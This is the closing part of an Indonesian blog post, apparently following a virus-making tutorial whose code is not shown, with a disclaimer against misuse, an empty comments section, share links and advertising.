Jangan pernah menyalah gunakan code di atas karana file yang di hasilkan dari source kode di atas cukup berbahaya, apalagi digunakan untuk hal yang negativ. Cara membuat virus diatas bakan untuk DI SALAHGUNAKAN, melainkan hanya untuk pendidikan dan dipelajari. Resiko di tanggung anda sendiri.



gampangkan buat virus?

Related Articles :


Stumble
Delicious
Technorati
Twitter
Facebook

0 komentar:

Posting Komentar

Semampu saya, saya berusaha membangun budaya berkomentar yang positif di blog ini dengan selalu membalas komentar juga dengan cara yang positif, santun dan menghargai. :)

DonkeyMails.com: No Minimum Payout adf.ly - shorten links and earn money!

VIDEO

MAAF BELUM SEMPAT TERISI

RECENT POSTS

POPULAR POSTS

MAAF BELUM SEMPAT TERISI
 

ARCTURUS Copyright © 2010 LKart Theme is Designed by Lasantha